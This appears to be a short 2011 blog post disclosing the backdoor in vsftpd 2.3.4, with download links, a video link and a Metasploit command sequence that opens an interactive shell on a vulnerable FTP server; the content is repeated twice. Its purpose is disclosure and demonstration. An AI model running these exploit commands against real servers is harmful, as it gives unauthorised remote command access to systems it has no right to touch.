Video Demonstration : Vsftpd backdoor
Am Tuesday, 5. Jul 2011 im Topic 'Vulnerabilities'
Affected versions :
vsftpd-2.3.4 from 2011-06-30
https://security.appspot.com/vsftpd.html
https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz
https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz.asc
http://pastebin.com/AetT9sS5
Metasploit demo :
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/interact
exploit
id
uname -a
http://www.youtube.com/watch?v=WgXm0tgRMos&feature=player_embedded
discovered by Mathias Kresin
vsftpd-2.3.4 from 2011-06-30
https://security.appspot.com/vsftpd.html
https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz
https://security.appspot.com/downloads/vsftpd-2.3.4.tar.gz.asc
http://pastebin.com/AetT9sS5
Metasploit demo :
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/interact
exploit
id
uname -a
http://www.youtube.com/watch?v=WgXm0tgRMos&feature=player_embedded
discovered by Mathias Kresin